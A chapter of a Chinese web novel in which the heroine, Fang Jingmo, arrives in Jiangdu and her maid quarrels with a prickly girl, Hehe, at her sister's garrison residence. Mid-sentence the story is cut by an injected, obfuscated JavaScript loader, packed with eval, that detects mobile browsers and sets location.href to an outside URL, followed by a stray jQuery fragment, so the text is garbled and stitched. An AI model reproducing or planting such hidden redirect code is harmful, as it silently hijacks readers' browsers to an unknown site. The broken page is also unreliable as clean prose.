三人没怎么停歇地赶路,终于到了江都。现在是春末,早晨天气还有些凉意,到了中午又热得厉害。
方京墨怕身子着凉,一直穿着春装。她总觉得自己把剑伤养好了,可每次换季的时候,现实却狠狠打她的脸。
福安在前驾着马车道:“大夫人,前面就是江都了。”
方京墨和绿珠从马车里探出头来。
绿珠看着眼前的景色,现在他们在山脚下,向上忘去,只看郁郁葱葱的一片绿色。她感叹道:“这里就是江都啊。”
方京墨看着眼前美景愣神,忽想起,自己还没跟方京芸写信,告诉她自己来了。不过大婚的时候和她说过自己要来的事,她的到来应该不唐突吧。
到了城内,已经是晌午了。主街道上有零零散散的小摊。福安问了小摊摊主方京芸的住所,三人一路问着,终于到了守备署。结果问了值班仆从,方京芸不在。
不过得知三人身份后,仆从便高兴引着三人到了守备府。
仆从笑着说道:“五小姐您叫我阿纪就行了,守备要处理各类事物,最近不常在府里,我先带你们去守备府歇着。你们从京城来,对于江都风水估计还要适应一段时间,有什么要帮忙的,尽管来找我就行。”
阿纪很是热情,说得话好听又不觉得让人冒犯。
三人听阿纪说着很快就到了后院住的地方,府邸很小,不需要多长时间就能走到。
是个朴素的小院,房屋用砖垒的,粗制滥造。院内的树很是高大,从屋外就能看见。偶尔传出几声鸡叫声还有人说话的声音。
方京墨走近敲门,一个才过一米的小姑娘把门打开了,方京墨顺着门缝可以看见用篱笆围着的鸡舍,几只活泼的鸡就差飞出篱笆了。
小姑娘板着脸,一股老成的样子,对方京墨道:“找谁?”
方京墨奇怪方京芸住的地方怎么还有这么小的孩子,奇怪归奇怪,她还是友好说道:“我是来找方京芸的。”
“你怎么能直呼守备名字!还有,这里是守备住的地方,不是当差的地方,你怎么能直接进到宅院里来,也太没规矩了。”
方京墨笑了,“你这小鬼,不知道我是谁,就对我大呼小叫的,万一我是贵客怎么办?”
阿纪一直在旁观察着方京墨,看方京墨没有生气,便没有说话。
小姑娘转了转眼珠,显然没有想到方京墨会那么问,便直言开口道:“那我跟你道歉好了。”
方京墨不逗这女孩了,对她道:“我是方守备的五姐,今日来找她,请问我可以进来了吗?”
“五姐?难道你是方京墨?”
“你知道我?”
小姑娘说道:“我之前听芸姐姐提到过你,说你比我还皮呢?”
方京墨惊了,自己在方京芸面前的形象是这样的吗?
小姑娘盯了方京墨几眼,认真极了,突开口说道:“对不起,我不该那样和你说话,你是芸姐姐的姐姐,我应该尊敬你的。”
“认错倒挺快。”
方京墨牵着小姑娘的手往院子里走。小姑娘才见她时,反应那么激烈,估计是之前发生过不好的事,不然也不会对陌生人敌意那么大。
阿纪在旁说道:“守备刚任职时,有不少闹事的人直接闯到院子里,禾禾也是被这些人吓到了,所以今日才会对五小姐那么防备,请大夫人不要见怪。”
禾禾嘟囔道:“谁被吓到了,那些人再来,我一个人就能把他们打跑。”
方京墨无奈笑道,“凡事要量力而行。”
禾禾重重哼了一声。
风尘仆仆赶了那么久的路,三人用完膳休息了一会儿,便整理房间了。守备府本来就小,没几间客房,方京墨便和绿珠一个房间。
“小姐,你说七小姐怎么在这住下来的,连个伺候的人都没有。”绿珠便拿着扫帚扫地边说,扬起的灰尘让她忍不住咳了几下,“不知道青竹在不在七小姐身边,也没在府里看见她。”
方京墨回道:“你还不知道七妹,哪是在意这种事的人,一个屋子里有一张床,一个桌子,一把凳子就够她用的了。”
“也是,七小姐之前在芍药苑的时候,屋子里也空荡荡的。”
下午就收拾了一下房间,上街买了些衣服和必须用品啥的。方京墨带的这几身衣服,根本不够换的。
禾禾看方京墨走在前面,绿珠和福安临着大包小包回来了,连忙从窗户探头出来,“你们干什么去了。”
禾禾本来还有些顾忌方京墨的身份,对她恭恭敬敬的,后来看她好说话,没个身份架子,胆子便大了起来。
福安在方京墨身后老实呆着不说话,绿珠开口道:“去买些衣裳啥的,我们要在这儿住一个月,衣服不够穿。”
禾禾瞪大眼睛,“你们去买衣服了?”
绿珠看她反应那么大,不知自己哪句话说错了,“怎么了,这里不让买衣服吗?”
禾禾道:“我看你们的包裹里衣服挺多的啊,怎么还去买,多浪费啊,再说,守备府里有多余的衣服拿给你们,你们何必买新的。”
绿珠看着面前的小丫头,个头小小的,怎么那么爱教训人,买件衣裳还要管着,脱口而出道:“又没花你的钱,你怎么管那么多。”
“你是没花我的钱,可是你们现在在守备府就要听我的话。”
“为什么要听你的话?你是谁啊?”
“你懂不懂先来后到的道理,我比你们先来,你们自然要听我的。”
绿珠震惊了,“这是什么歪理。”
方京墨看两人吵个没完,连忙制止。她现在不知道禾禾的身份,所以不知道该用什么样的态度对待禾禾。
方京墨大声喊道,“你们不要吵了。”她对禾禾道:“我们去买衣裳是因为我带的衣服大多是浅色衣裳,我看这里尘土很多,若是每日穿浅色衣裳,怕是每日都要换。同时我们事先也不知道府里有备用衣裳,所以才去买的。”
她又对绿珠道:“她就是个孩子,说话口无遮拦,你这次就放过她吧。”
禾禾不服道:“什么叫她放过我,我怕她吗,不服我们打一架。”
方京墨无奈对禾禾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300815|192633||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说,“她初来乍到,你也放过她,你们互相放过彼此好不好。”
绿珠自然不想让方京墨为难,便主动道:“那我就放过你吧。”
禾禾狠狠剁了下脚,但是看到方京墨背后的福安,又觉得肯定打不过,于是哼了一声就走了。
方京墨看着她进屋的背影,深深叹口气,终于结束了。
绿珠在身旁噘着嘴边,还生着气,朝方京墨抱怨道:“七小姐怎么收留了这么一个不知礼数的人,一张嘴就是要打架,可有孩子天真无邪的样子?”
方京墨安抚她道:“七妹有她的想法,我看禾禾虽然脾气大些,但对七妹很是敬重,本心是不坏的。她住在府里,只要对七妹好就行了。反正我们也只在这住一个月。我看她挺活泼的,能给府里填些热闹劲。”
方京墨进屋和绿珠一起把买的物品归类,绿珠去换木桶里的脏水时,看见福安还站在门口没走。
“你不用在在候着了,小姐有我伺候就行。”
福安一板一眼道:“主子说了,要保护大夫人的安危,不能有一丝松懈。”
方京墨走近听到了,对他道:“你先退下吧,这府里安全着呢,再说这院子那么小,你就住在我隔壁,我一有什么动静你一下就听到。”
福安还想说什么,被方京墨瞪了一眼,老实退下了。
院子里扫地的禾禾听见三人对话,小嘴叭叭道:“京城来的,排场就是大。”
绿珠早看不惯她了,也不顾她是个十一二岁的孩子了,方京墨刚才的劝诫了,大声吵道:“七小姐就不是京城来的了?你说这话什么意思?你也在说七小姐喽。”
禾禾回击道:“守备自然和你们这些京城人不一样,一个个趾高气扬的。守备可是最厉害的人,你们三个加一起都比不上她。”
“一个嘴巴,两只眼,一个鼻,有什么不一样?”
“就是不一样!”
方京墨扶了扶头,怎么又开始了,安静还没半个时辰。她本想着收拾完,要是方京芸还没回来,就去街上吃些江都特色美食。可看绿珠被气成这个样子,两人不像一会儿就能吵完的样子,直觉得头都大了。
“都吵什么呢?”
听见熟悉的声音,方京墨真正体会到了救世主从天而降是什么感觉。
方京芸回来了。
禾禾刚才还是手舞足蹈,奋力抗争的样子,一看方京芸回来了,眼里竟然滴出几滴眼泪,哭喊着嗓子冲到方京芸身上,“芸姐姐,她们趁你不在欺负我,啊啊啊呜呜呜。”
绿珠目瞪口呆,这人怎么情绪变化那么大。
方京芸没想到方京墨来了,这时随口安慰禾禾几句,一直笑着看向方京墨。
“你怎么一来,就欺负我的人。”
绿珠急忙解释道:“明明是她瞧不起我们,怎么你一来,她就这样了。”
方京芸自然知道禾禾性格,喜欢恶人先告状,明显是惹了人不快,怕被怪罪,不如自己先哭了。
她拍拍禾禾的肩膀,对她说,“让老高今晚多准备些好菜,有贵客来了。”